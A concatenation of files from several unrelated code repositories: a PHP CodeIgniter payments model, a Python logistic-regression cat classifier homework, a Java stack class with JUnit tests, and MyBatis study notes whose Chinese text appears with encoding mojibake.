$this->db->limit($limit); //Get contents $return['records'] = $this->db->get(); //echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC"; log_message('debug', 'SQL: '.$this->db->last_query()); //Build count query # Para devolver el numero de registros $this->db->select('count(payments.id) as record_count')->from($table_name); if($flexigrid) $this->CI->flexigrid->build_query(); //$this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); //$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer'); $this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer'); $this->db->join('users', 'payments.id_user=users.id', 'left outer'); $this->db->join('groups', 'users.group_id=groups.id', 'left outer'); $this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer'); $this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer'); $this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer'); if (isset($filters) && trim($filters)!="") $this->db->where($filters); //if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway); //if (isset($limit) && trim($limit)!="") $this->db->limit($limit); $record_count = $this->db->get(); $row = $record_count->row(); //Get Record Count $return['record_count'] = $row->record_count; //Return all return $return; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de todas las reservas UNIFICADAS, en formato array, # ------------------------------------------------------------------- public function get_next_payments($filters = NULL, $order = NULL, $orderway = NULL , $limit = NULL) { $records = $this->get_global_list($filters, $order, $orderway, $limit ); $buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0; $record_items = array(); foreach ($records['records']->result() as $row) { $registro=array(); if($row->id_user) $usuario = $row->first_name.' '.$row->last_name; else $usuario = $row->desc_user; if(trim($usuario)=="") $usuario="No registrado"; $registro = array( $row->id, $row->id, $row->id_type_desc, $this->lang->line($row->paymentway_desc), $usuario, $row->quantity, $this->lang->line($row->status_desc), date($this->config->item('reserve_date_filter_format') ,strtotime($row->datetime)), date($this->config->item('reserve_hour_filter_format') ,strtotime($row->datetime)), $row->description ); //print("<pre>");print_r($row);print("</pre>"); $record_items[] = $registro; } return $record_items; } ############################################################################## function getStatusArray() { //$query = $this->db->get('entries', 10); //return $query->result(); $result=array(""=>"Selecciona opcion"); $sql = "SELECT id, description FROM zz_payment_status "; $query = $this->db->query($sql); foreach ($query->result() as $row) { $result[$row->id]=$this->lang->line($row->description); } return $result; } ############################################################################## function getPaymentWaysArray() { //$query = $this->db->get('entries', 10); //return $query->result(); $enable_reserve = $this->config->item('enable_reserve'); $enable_cash = $this->config->item('enable_cash'); $enable_prepaid = $this->config->item('enable_prepaid'); $enable_creditcard = $this->config->item('enable_creditcard'); $enable_paypal = $this->config->item('enable_paypal'); $enable_bank = $this->config->item('enable_bank'); $enable_tpv = $this->config->item('enable_tpv'); $result=array(""=>"Selecciona opcion"); $sql = "SELECT id, description FROM zz_paymentway WHERE active=1"; $query = $this->db->query($sql); foreach ($query->result() as $row) { $ok = 0; switch ($row->id) { case 1: if($enable_cash) $ok = 1; break; case 2: if($enable_creditcard) $ok = 1; break; case 3: if($enable_paypal) $ok = 1; break; case 4: if($enable_bank) $ok = 1; break; case 5: if($enable_prepaid) $ok = 1; break; case 6: if($enable_tpv) $ok = 1; break; } if($ok) $result[$row->id]=$this->lang->line($row->description); } return $result; } ############################################################################## function getPaymentTypesArray() { //$query = $this->db->get('entries', 10); //return $query->result(); $result=array(""=>"Selecciona opcion"); $sql = "SELECT id, description FROM zz_payment_type WHERE active=1"; $query = $this->db->query($sql); foreach ($query->result() as $row) { $result[$row->id]=$this->lang->line($row->description); } return $result; } ############################################################################## function getPaymentsFrequencies ($format = 'array') { //$query = $this->db->get('entries', 10); //return $query->result(); if($format == 'array') $result=array(""=>"Selecciona opcion"); $sql = "SELECT id, description FROM zz_payment_frequency WHERE active = 1 ORDER BY id ASC"; $query = $this->db->query($sql); foreach ($query->result() as $row) { if($format == 'array') $result[$row->id]=$row->description; } return $result; } ############################################################################## function getFrequencyCommand ($id) { //$query = $this->db->get('entries', 10); //return $query->result(); $sql = "SELECT php_interval_name FROM zz_payment_frequency WHERE active = 1 AND id = ?"; $query = $this->db->query($sql, array($id)); foreach ($query->result() as $row) { return $row->php_interval_name; } return null; } ############################################################################## public function get_data($params = "" , $page = "all") { $this->CI =& get_instance(); //Select table name $table_name = "payments"; //Build contents query if($page=='count') { $this->db->count_all_results($table_name); $this->db->from($table_name); } else $this->db->select('payments.id as id, payments.id_type as id_type, payments.id_transaction as id_transaction, payments.id_user, payments.desc_user as desc_user, payments.status as status, payments.quantity, payments.ticket_number, payments.datetime as datetime, DATE_FORMAT(DATE(payments.fecha_valor), \'%d-%m-%Y\') as fecha_valor, DATE_FORMAT(DATE(payments.datetime), \'%d-%m-%Y\') as date, TIME(payments.datetime) as time, payments.description as description, payments.id_paymentway as id_paymentway, payments.create_user as create_user, payments.create_time as create_time, payments.modify_user as modify_user, payments.modify_time as modify_time, meta.first_name as first_name, meta.last_name as last_name, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc , meta.bank_titular, meta.bank, meta.bank_office, meta.bank_dc, meta.bank_account', FALSE)->from($table_name); //$this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); //$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer'); $this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer'); $this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer'); $this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer'); $this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer'); if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if ($page != "all" && $page != "count") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); //exit($params ["num_rows"].' - '.$params ["page"]); //Get contents if($page=='count') return $this->db->count_all_results(); else { $query = $this->db->get(); //log_message('debug',$this->db->last_query()); return $query; } } ############################################################################## public function get_data_to_export($params = "" , $page = "all") { $this->CI =& get_instance(); //Select table name $table_name = "payments"; //Build contents query $this->db->select('payments.id_user as id_usuario, payments.desc_user as Usuario, payments.quantity as Importe, payments.ticket_number as NumeroTicket, payments.datetime as FechaFactura, payments.description as Descripcion, payments.create_user as UsuarioQueFactura, zz_payment_status.description as EstadoPago, zz_paymentway.description as FormaPago, zz_payment_type.description as ConceptoPago, zz_sports.description as Deporte, payments.id_transaction as id_element ', FALSE)->from($table_name); $this->db->distinct(); //$this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); //$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer'); $this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer'); $this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer'); $this->db->join('courts', 'booking.id_court=courts.id', 'left outer'); $this->db->join('courts_types', 'courts.court_type=courts_types.id', 'left outer'); $this->db->join('zz_sports', 'courts_types.id_sport=zz_sports.id', 'left outer'); $this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer'); $this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer'); $this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer'); if (!empty ($params['where'])) $this->db->where($params['where']); if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']); if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) ); //Get contents $query = $this->db->get(); $resultado = $query->result_array(); //exit($this->db->last_query()); //log_message('debug',$this->db->last_query()); return $resultado; } ############################################################################## function getPaymentMethodsByUser($user_level) { # Devuelve array de los diferentes mรฉtodos de pago disponibles $this->CI =& get_instance(); $this->CI->load->config('pagos'); $payment = array ('reserve' => FALSE, 'cash' => FALSE, 'paypal' => FALSE, 'prepaid' => FALSE, 'creditcard' => FALSE, 'tpv' => FALSE, 'bank' => FALSE); //echo $user_level.'<br>'; //print_r($payment); foreach($payment as $type => $value) { $payment[$type] = $this->app_common->PaymentMethodStatus($type); } if($user_level < 3 ) $pagos_adaptado = $this->CI->config->item('payment_admin_available'); elseif($user_level >= 3 && $user_level < 4 ) $pagos_adaptado = $this->CI->config->item('payment_operator_available'); elseif($user_level >= 4 && $user_level < 5 ) $pagos_adaptado = $this->CI->config->item('payment_profesor_available'); elseif($user_level >= 6 && $user_level < 7 ) $pagos_adaptado = $this->CI->config->item('payment_advanced_user_available'); elseif($user_level >= 7 && $user_level < 8 ) $pagos_adaptado = $this->CI->config->item('payment_user_available'); else $pagos_adaptado = $this->CI->config->item('payment_anonimo_available'); //print_r($payment);print_r($pagos_adaptado);//exit("AAAAAA"); foreach($payment as $type => $value) { if($payment[$type] && isset($pagos_adaptado[$type]) && !$pagos_adaptado[$type]) $payment[$type] = FALSE; } return $payment; } ############################################################################## function getNextTicketNumber($date, $extra = NULL) { if(!isset($date)) return NULL; $this->CI =& get_instance(); $this->CI->load->config('pagos'); $numero_diario = date($this->CI->config->item('payment_ticket_format_prefix')).sprintf($this->CI->config->item('payment_ticket_format_number'), 1); //echo '--'.$numero_diario.'<br>'; //Select table name $table_name = "payments"; //Build contents query $this->db->select_max('payments.ticket_number', FALSE)->from($table_name); $this->db->where('date(datetime)', $date); //Get contents $query = $this->db->get(); log_message('debug',$this->db->last_query()); if ($query->num_rows() > 0) { $row = $query->row(); $maximo = $row->ticket_number; if(isset($maximo) && $maximo != '') { $sub_maximo = intval(substr($maximo, (-1 * $this->CI->config->item('payment_ticket_format_number_length')))); //echo '--'.$sub_maximo.'<br>'; $numero_diario = date($this->CI->config->item('payment_ticket_format_prefix')).sprintf($this->CI->config->item('payment_ticket_format_number'), $sub_maximo + 1); } //echo '--'.$row->ticket_number; } //echo 'Final--'.$numero_diario.'<br>'; return $numero_diario; } } ?>```
yummycats/catClassifier
yummycats/catClassifier README.md ```# catClassifier ่ฏ†ๅˆซๆ˜ฏๅฆไธบ็Œซๅ›พ๏ผˆๆทฑๅบฆๅญฆไน ็ผ–็จ‹ไฝœไธš๏ผ‰ ``` main.py ```import numpy as np import h5py import matplotlib.pyplot as plt import scipy from PIL import Image from scipy import ndimage from lr_utils import load_dataset #%matplotlib inline def showPic(index): plt.imshow(train_set_x_orig[index]) plt.show() '''print("y = " + str(train_set_y[:, index]) + ", it's a '" + classes[np.squeeze(train_set_y[:, index])].decode( "utf-8") + "' picture.")''' def sigmoid(z): s = 1 / (1 + np.exp(-z)) return s def initialize_with_zeros(dim): w = np.zeros((dim, 1)) b = 0 assert (w.shape == (dim, 1)) assert (isinstance(b, float) or isinstance(b, int)) return w, b def propagate(w, b, X, Y): m = X.shape[1] A = sigmoid(np.dot(w.T, X) + b) cost = -1/m * np.sum(Y * np.log(A) + (1-Y) * np.log(1-A)) dw = 1/m * np.dot(X, (A-Y).T) db = 1/m * np.sum(A - Y) assert (dw.shape == w.shape) assert (db.dtype == float) cost = np.squeeze(cost) assert (cost.shape == ()) grads = {"dw": dw, "db": db} return grads, cost def optimize(w, b, X, Y, num_iterations, learning_rate, print_cost = False): costs = [] for i in range(num_iterations): grades, cost = propagate(w, b, X, Y) dw = grades["dw"] db = grades["db"] w = w - learning_rate * dw b = b - learning_rate * db if i % 100 == 0: costs.append(cost) if print_cost and i % 100 ==0: print("Cost after iteration %i: %f" %(i, cost)) params = {"w": w, "b": b} grades = {"dw": dw, "db": db} return params,grades,costs def predict(w, b, X): m = X.shape[1] Y_prediction = np.zeros((1, m)) w = w.reshape(X.shape[0], 1) A = sigmoid(np.dot(w.T, X) + b) for i in range(X.shape[1]): if(A[0][i] <= 0.5): Y_prediction[0][i] = 0 else: Y_prediction[0][i] = 1 assert (Y_prediction.shape == (1, m)) return Y_prediction def model(X_train, Y_train, X_test, Y_test, num_iterations=2000, learning_rate=0.5, print_cost=False): w,b = initialize_with_zeros(X_train.shape[0]) params, grades, costs = optimize(w,b,X_train,Y_train,num_iterations,learning_rate,print_cost) w = params["w"] b = params["b"] Y_prediction_train = predict(w, b, X_train) Y_prediction_test = predict(w, b, X_test) print("train accuracy: {} %".format(100 - np.mean(np.abs(Y_prediction_train - Y_train)) * 100)) print("test accuracy: {} %".format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100)) d = {"costs": costs, "Y_prediction_test": Y_prediction_test, "Y_prediction_train": Y_prediction_train, "w": w, "b": b, "learning_rate": learning_rate, "num_iterations": num_iterations} return d if __name__ =='__main__': train_set_x_orig, train_set_y, test_set_x_orig, test_set_y, classes = load_dataset() #train_set_x_orig is a numpy-array of shape (m_train, num_px, num_px, 3). #showPic(25) m_train = train_set_x_orig.shape[0] m_test = test_set_x_orig.shape[0] num_px = train_set_x_orig.shape[1] train_set_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0], -1).T test_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0], -1).T train_set_x = train_set_x_flatten / 255. test_set_x = test_set_x_flatten / 255. d = model(train_set_x, train_set_y, test_set_x, test_set_y, num_iterations=5000, learning_rate=0.005, print_cost=True) '''index = 1 showPic(index) print("y = " + str(test_set_y[0, index]) + ", you predicted that it is a \"" + classes[ int(d["Y_prediction_test"][0, index])].decode("utf-8") + "\" picture.") costs = np.squeeze(d['costs']) plt.plot(costs) plt.ylabel('cost') plt.xlabel('iterations (per hundreds)') plt.title("Learning rate =" + str(d["learning_rate"])) plt.show()''' my_image="123.jpg" fname = "images/" + my_image image = np.array(ndimage.imread(fname, flatten=False)) my_image = scipy.misc.imresize(image, size=(num_px, num_px)).reshape((1, num_px * num_px * 3)).T my_predicted_image = predict(d["w"], d["b"], my_image) plt.imshow(image) plt.show() print("y = " + str(np.squeeze(my_predicted_image)) + ", your algorithm predicts a \"" + classes[ int(np.squeeze(my_predicted_image)),].decode("utf-8") + "\" picture.") ```
yun11yun/JavaTool
yun11yun/JavaTool StackTest.java ```package com.yun11yun; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.*; public class StackTest { private Stack<String> stack; @Before public void setUp() { stack = new Stack <>(4); } @Test public void isEmpty() { assertTrue(stack.isEmpty()); stack.push("huang"); stack.pop(); assertTrue(stack.isEmpty()); } @Test public void push() { stack.push("huang"); assertEquals("huang", stack.top()); assertEquals(1, stack.size()); stack.push("wen"); assertEquals("wen", stack.top()); assertEquals(2, stack.size()); } @Test (expected = Error.class) public void testPushStackOverflowError() { stack.push("huang"); stack.push("wen"); stack.push("tao"); stack.push("yun"); stack.push("yun"); fail("ๅฝ“pushๆ“ไฝœ่ถ…่ฟ‡stack็š„ๅฎน้‡ๆ—ถๆฒกๆœ‰ๆŠ›ๅ‡บ้”™่ฏฏ!"); } @Test public void pop() { stack.push("้‡‘ๆ˜ฅๆ™ด"); stack.push("้‡‘ๅฐไบฎ"); stack.push("้‡‘ไธน"); assertEquals("้‡‘ไธน", stack.pop()); assertEquals("้‡‘ๅฐไบฎ", stack.pop()); assertEquals("้‡‘ๆ˜ฅๆ™ด", stack.pop()); assertNull(stack.pop()); } }``` Stack.java ```package com.yun11yun; import java.util.Arrays; import java.util.List; public class Stack<E> { private Object[] elementData; private int size; public Stack(int initialCapacity) { if (initialCapacity <= 0) { throw new IllegalArgumentException("Illegal Capacity: "+ initialCapacity); } elementData = new Object[initialCapacity]; } public Stack(List<? extends E> c) { elementData = c.toArray(); if ((size = elementData.length) != 0) { if (elementData.getClass() != Object[].class) elementData = Arrays.copyOf(elementData, size, Object[].class); } else { throw new IllegalArgumentException("Illegal List:" + c.toString()); } } public boolean isEmpty() { if (size() == 0) { return true; } return false; } public boolean push(E element) { if (size == elementData.length) { throw new StackOverflowError(); } size ++; elementData[size - 1] = element; return true; } public E pop() { if (size == 0) { return null; } E obj = (E)elementData[size - 1]; size --; return obj; } public E top() { if (size == 0) { return null; } return (E)elementData[size - 1]; } public int size() { return size; } } ```
yun11yun/RGB
yun11yun/RGB README.md ```# RGB rob ```
yun79831/learn-mybatis
yun79831/learn-mybatis task.md ```# Mybatis่ฏพๅŽไฝœไธš ่ฏพ็จ‹ๆบ็ ๏ผš 1. ็ผ–็จ‹ๅผ้กน็›ฎ http://git.gupaoedu.com/vip/gupaoedu-mybatis 2. ้›†ๆˆspring http://git.gupaoedu.com/vip/gupao-springmvc ๆณจๆ„ๆŸฅ็œ‹้กน็›ฎไธ‹็š„ๅˆ†ๆ”ฏ๏ผŒไธŠ่ฏพ็”จ็š„ๆ˜ฏvipๅˆ†ๆ”ฏ gitใ€mavenใ€ideaๅญฆไน ๆ•™็จ‹ http://bbs.gupaoedu.com/forum.php?mod=viewthread&tid=380&extra=page%3D1&_dsign=4b78d4bb ## 20180324 1. Mapperๅœจspring็ฎก็†ไธ‹ๅ…ถๅฎžๆ˜ฏๅ•ไพ‹๏ผŒไธบไป€ไนˆๅฏไปฅๆ˜ฏไธ€ไธช ๅ•ไพ‹๏ผŸ SCOPE -> application 2. MyBatisๅœจSpring้›†ๆˆไธ‹ๆฒกๆœ‰mapper็š„xmlๆ–‡ไปถไผšไธไผš ๆŠฅ้”™๏ผŒไธบไป€ไนˆ๏ผŸ springไธญๆœ‰ๅผ‚ๅธธๅค„็†,ไธไผšๆŠฅ้”™,่ฟ˜ๆ”ฏๆŒๆณจ่งฃๆจกๅผ 3. TypeHandlerๆ‰‹ๅ†™ com.learn.mybatis.typehandler.StringTypeHandler 4. ๆ‰‹ๅ†™Plugin,ๅคšไธชinterceptorๅˆฐๅบ•่ฐๅ…ˆๆ‰ง่กŒ๏ผŸ้กบๅบ็”ฑ่ฐ ๅ†ณๅฎš็š„๏ผŸ ๅ€’ๅบๆ‰ง่กŒ ## 20180325 1.ๆ€Žไนˆ้ชŒ่ฏไธ€็บง็ผ“ๅญ˜็š„ๅญ˜ๅœจ๏ผŸ 2.้ชŒ่ฏN+1้—ฎ้ข˜ ## 20180328 1. org.apache.ibatis.binding.MapperProxy#invoke ่ฟ™ไธช็ฑป็š„53่กŒไป€ไนˆๆ—ถๅ€™ๆ‰ง่กŒ๏ผŸ ## 20180331 1. TestMapper ไฝœ่€…ไธบไป€ไนˆ่ฆ่ฎพ่ฎก่ฟ™ๆ ท็š„ๅฝขๅผๆฅๅš๏ผŸ ไธบไป€ไนˆไธๆ˜ฏไธ€ไธชclass่€Œๆ˜ฏไธ€ไธชinterface? 2. org.apache.ibatis.executor.BaseExecutor#queryFromDatabase 322่กŒ่ฟ™่กŒไปฃ็ ็š„ๆ„ไน‰ 3. MyBatis็š„pluginๅฎž็Žฐๆœบๅˆถ 4. lazy loading ๆ˜ฏๆ€Žไนˆๅšๅˆฐ็š„๏ผŸ ## 20180401 1. ๆ‰‹ๅ†™1.0 2. 2.0็‰ˆๆœฌ็š„ๅŸบ็ก€ไธŠ๏ผŒ็”จannotation ้ƒจๅˆ†็ฌ”่ฎฐ ไธบไป€ไนˆjavaconfig ๆฏ”xml็”จๅพ—ๅคšไบ† 1.Executorไธป่ฆ็š„ๅŠŸ่ƒฝๆ˜ฏquery 2.query้‡Œๅˆ†่งฃๅŠจไฝœ -ใ€‹ๆ‰ง่กŒๆ‹ฟๅˆฐ็ป“ๆžœ StatementHandler 17-24 -ใ€‹็ป“ๆžœๆ˜ ๅฐ„ ResultSetHandler 25 ## 20180408 1. 2.0็‰ˆๆœฌๅŠ ๅ…ฅpluginๅŠŸ่ƒฝ 1.Mapperๅœจspring็ฎก็†ไธ‹ๅ…ถๅฎžๆ˜ฏๅ•ไพ‹๏ผŒไธบไป€ไนˆๅฏไปฅๆ˜ฏไธ€ไธช ๅ•ไพ‹๏ผŸ SCOPE -> application mapperๅœจmybatis้‡Œๆ˜ฏไธ€ไธชMethod็บงๅˆซ็š„,ๅฝ“ไธ€ๆฌกsqlSession็ป“ๆŸไน‹ๅŽ,ไนŸๅฐฑๅ…ณ้—ญไบ†;ๅœจSpring็ฎก็†ไธ‹,ๅ˜ๆˆไบ†ไธ€ไธชๅ•ๅˆ—,่ฎฉๅฎƒไธ€็›ดๅญ˜ๅœจ,ๅฏไปฅๅœจ่ฏฅmapper็š„ๆ‰€ๆœ‰sqlSessionไฝฟ็”จ,ๅ˜ๆˆไบ†ไธ€ไธชapplication็บงๅˆซ็š„ 2.MyBatisๅœจSpring้›†ๆˆไธ‹ๆฒกๆœ‰mapper็š„xmlๆ–‡ไปถไผšไธไผšๆŠฅ้”™,ไธบไป€ไนˆ๏ผŸ ไธไผš,ๅฏไปฅ็”จๆณจ่งฃ็š„ๆ–นๅผannotation 3.TypeHandlerๆ‰‹ๅ†™ 4.ๆ‰‹ๅ†™Plugin,ๅคšไธชinterceptorๅˆฐๅบ•่ฐๅ…ˆๆ‰ง่กŒ๏ผŸ้กบๅบ็”ฑ่ฐ ๅ†ณๅฎš็š„๏ผŸ ๅŽๆณจๅ†Œ็š„ๅ…ˆๆ‰ง่กŒ,็„ถๅŽ้€š่ฟ‡forๅพช็Žฏ้ๅކไธ€ไธ€ๅ–ๅ‡บๆฅ,ไธŽMapperProxyไปฃ็†ๆœ‰ๅ…ณ๏ผŒๅ€’ๅบ 5.ๆ€Žไนˆ้ชŒ่ฏไธ€็บง็ผ“ๅญ˜็š„ๅญ˜ๅœจ๏ผŸ ๅฏนไบŽๆŸไธชๆŸฅ่ฏข,ๅŽป็ผ“ๅญ˜Cacheไธญๅ–ๅ‡บๅฏนๅบ”็š„็š„็ผ“ๅญ˜็ป“ๆžœ,ๅฆ‚ๆžœๅ‘ฝไธญ,ๅ–ๅ‡บ็ป“ๆžœๅ€ผ,ๆฒกๆœ‰ๅฐฑๅŽปๆŸฅ่ฏขๆ•ฐๆฎๅบ“,ๅฏไปฅๅœจ็ป™ๆŸไธชๆŸฅ่ฏข่ฎพ็ฝฎๆŸฅ่ฏขๆ—ถ้—ด,่ง‚ๅฏŸๆ—ถ้—ด่ฟ›่กŒๅฏนๆฏ” 6.้ชŒ่ฏN+1้—ฎ้ข˜ 2่กจๅ…ณ่”ๅญฆ็”Ÿ่กจไธŽ็ญ็บง่กจ,่ฟ›่กŒๅตŒๅฅ—ๆŸฅ่ฏข,ๅผ€ๅฏๆ‡’ๅŠ ่ฝฝ,ๅฝ“ๅช้œ€่ฆๆŸฅ่ฏข็ญ็บงไฟกๆฏ,ๅฐฑๅ–็ญ็บงไฟกๆฏ,ๅฐฑๆ˜ฏ1,ๅฝ“ๅ–ๅญฆ็”Ÿไฟกๆฏๆ—ถๅฐฑๆ˜ฏN,ไธ€ไธช็ญ็บงๅฏนๅบ”ๅคšไธชๅญฆ็”Ÿ,ๅ‡่ฝปๆ•ฐๆฎๅบ“็š„ๅŽ‹ๅŠ› 1ใ€TestMapper ไฝœ่€…ไธบไป€ไนˆ่ฆ่ฎพ่ฎก่ฟ™ๆ ท็š„ๅฝขๅผๆฅๅš๏ผŸไธบไป€ไนˆไธๆ˜ฏไธ€ไธชclass่€Œๆ˜ฏไธ€ไธชinterface? ไฝฟ็”จๆŽฅๅฃๆ˜ ๅฐ„็š„ๆ–นๅผ๏ผŒๆœ€ไธป่ฆ็š„ๆ˜ฏไธบไบ†ๅฐฝ้‡็š„็ฎ€ๅŒ–็ผ–็ ๆ“ไฝœ๏ผŒๅฐ†ๆ›ดๅคš็š„ไบ‹ๆƒ…ไบค็ป™mapper.xmlๆฅๅฎž็Žฐ๏ผŒ่€ŒๆŽฅๅฃไธญๅช้œ€่ฆๅฃฐๆ˜ŽmethodNameไธŽmapper.xmlๆ˜ ๅฐ„ๅฐฑๅฏไปฅไบ†๏ผŒๆธ…ๆ™ฐๆ˜Žไบ†ๆ–นไพฟ็ปดๆŠค 2ใ€org.apache.ibatis.executor.BaseExecutor#queryFromDatabase 322่กŒ่ฟ™่กŒไปฃ็ ็š„ๆ„ไน‰ ๅบ”่ฏฅๅœจๅ…ณ่”ๆŸฅ่ฏข๏ผŒๅผ€ๅฏๆ‡’ๅŠ ่ฝฝๆ—ถๅ€™ๅ†่ƒฝ่ตทๅˆฐ็œŸๆญฃ็š„ไฝœ็”จ๏ผŒไธป่ฆ็”จไบŽๅฝ“ๅ‰็š„ๅ…ณ่”ๆŸฅ่ฏขๅ…ˆๅ ไฝไธๆ‰ง่กŒ๏ผŒๅฝ“็œŸๆญฃ่ฐƒ็”จๅ…ณ่”ๆŸฅ่ฏขไธญ็š„ๆ•ฐๆฎๆ—ถ๏ผŒๅˆคๆ–ญๅฝ“ๅ‰็š„็ผ“ๅญ˜ไธญๆ˜ฏๅฆๅทฒ็ผ“ๅญ˜ๆŸฅ่ฏขๆ•ฐๆฎๅนถไธ”ๆ˜ฏๅฆๅทฒ็ปๅ ไฝ๏ผŒๅฆ‚ๆžœๅญ˜ๅœจๆ•ฐๆฎๅนถไธ”ๆฒกๆœ‰ๅ ไฝๅˆ™็›ดๆŽฅไปŽ็ผ“ๅญ˜ไธญ่Žทๅ–ๆ•ฐๆฎ๏ผŒๅฆ‚ๆžœๅทฒ็ปๅ ไฝๆˆ–่€…ๆฒกๆœ‰็ผ“ๅญ˜๏ผŒๅˆ™็›ดๆŽฅ่ฟ›่กŒๆ•ฐๆฎ็š„ๆŸฅ่ฏขใ€‚ 3ใ€MyBatis็š„pluginๅฎž็Žฐๆœบๅˆถ plugin้€š่ฟ‡่ดฃไปป้“พๅ’Œไปฃ็†็š„ๆ–นๅผๅŽปๅฎž็Žฐ็š„๏ผŒๅ…ทไฝ“็š„๏ผŒ้ฆ–ๅ…ˆ้€š่ฟ‡configurationๅˆ›ๅปบๆ—ถ๏ผŒ่ฏปๅ–้…็ฝฎๆ–‡ไปถๅฐ†้…็ฝฎไธญ็š„plugin่ฝฝๅ…ฅinterceptorChainไธญ๏ผŒๅœจconfigurationๅˆ›ๅปบExecutorๆ—ถ๏ผŒๆ‰ง่กŒinterceptorChain.pluginAll๏ผŒๆ‰€ๆœ‰็š„่ฟžๆŽฅๅ™จ้ƒฝๅฏนexecutor่ฟ›่กŒไบ†ไธ€ๆฌกไปฃ็†๏ผŒๆœ€็ปˆๅฝ“ๆ‰ง่กŒexecutorๆ˜ฏๅˆ™ๅฐ†ๆ‰€ๆœ‰็š„plugin้ƒฝๆ‰ง่กŒไธ€ๆฌกใ€‚ 4ใ€lazy loading ๆ˜ฏๆ€Žไนˆๅšๅˆฐ็š„๏ผŸ ๅฏๅŠจๆ‡’ๅŠ ่ฝฝๅŽ๏ผŒmybatisๅˆๅง‹ๅŒ–่ฟ”ๅ›ž็ฑปๅž‹็š„ๆ—ถๅ€™๏ผŒไผš่ฟ”ๅ›žไธ€ไธชcglib็š„ไปฃ็†ๅฏน่ฑก๏ผŒcglibไผš่ฟ‡ๆปคget๏ผŒset็ญ‰ๆ–นๆณ•๏ผŒ๏ผŒๅฝ“่ฐƒ็”จ่ฟ™ไบ›ๆ–นๆณ•cglibๅˆ™ไผšๅŽปๆ‰ง่กŒ็›ธๅบ”็š„ๆŸฅ่ฏข่ฏญๅฅ๏ผŒ่ฟ›่กŒ็ฌฌไบŒๆฌกๅ…ณ่”ไฟกๆฏๅฏนๅบ”็š„่กจๆŸฅ่ฏข่ฏญๅฅ๏ผŒๆŸฅ่ฏข็ป“ๆŸๅŽๅฐ†ๅ€ผ่ต‹ๅ€ผ็ป™ๅฏน่ฑก ``` IntegrationMyBatisConfiguration.java ```package com.learn.mybatis.config; import org.apache.ibatis.session.SqlSession; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSessionFactoryBuilder; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.InputStream; /** * ้›†ๆˆๅผไฝฟ็”จMybatis * Created by ghost on 2018-04-13. */ public class IntegrationMyBatisConfiguration { //่Žทๅ–SqlSession public static SqlSession getSqlSession() throws FileNotFoundException { InputStream mybatisConfig = new FileInputStream("E:\\workspace\\learn-mybatis\\src\\main\\resources\\mybatis-config.xml"); SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(mybatisConfig); return sqlSessionFactory.openSession(); } } ``` README.md ```# Mybatisๆบ็ ๅญฆไน ็ฌ”่ฎฐ ## ่ฎค่ฏ†mybatis [Mybatisๅฎ˜็ฝ‘](http://www.mybatis.org/mybatis-3/zh/index.html) MyBatis ๆ˜ฏไธ€ๆฌพไผ˜็ง€็š„ๆŒไน…ๅฑ‚ๆก†ๆžถ๏ผŒๅฎƒๆ”ฏๆŒๅฎšๅˆถๅŒ– SQLใ€ๅญ˜ๅ‚จ่ฟ‡็จ‹ไปฅๅŠ้ซ˜็บงๆ˜ ๅฐ„ใ€‚MyBatis ้ฟๅ…ไบ†ๅ‡ ไนŽๆ‰€ๆœ‰็š„ JDBC ไปฃ็ ๅ’Œๆ‰‹ๅŠจ่ฎพ็ฝฎๅ‚ๆ•ฐไปฅๅŠ่Žทๅ–็ป“ๆžœ้›†ใ€‚MyBatis ๅฏไปฅไฝฟ็”จ็ฎ€ๅ•็š„ XML ๆˆ–ๆณจ่งฃๆฅ้…็ฝฎๅ’Œๆ˜ ๅฐ„ๅŽŸ็”Ÿไฟกๆฏ๏ผŒๅฐ†ๆŽฅๅฃๅ’Œ Java ็š„ POJOs(Plain Old Java Objects,ๆ™ฎ้€š็š„ Javaๅฏน่ฑก)ๆ˜ ๅฐ„ๆˆๆ•ฐๆฎๅบ“ไธญ็š„่ฎฐๅฝ•ใ€‚ ## ๅญฆไน Mybatis ### ไฝฟ็”จๆ–นๅผ 1. ็ผ–็จ‹ๅผ(JAVA APIๆ–นๅผ) 2. ้›†ๆˆๅผ(ๅŸบไบŽXMLๆ–นๅผ) 3. 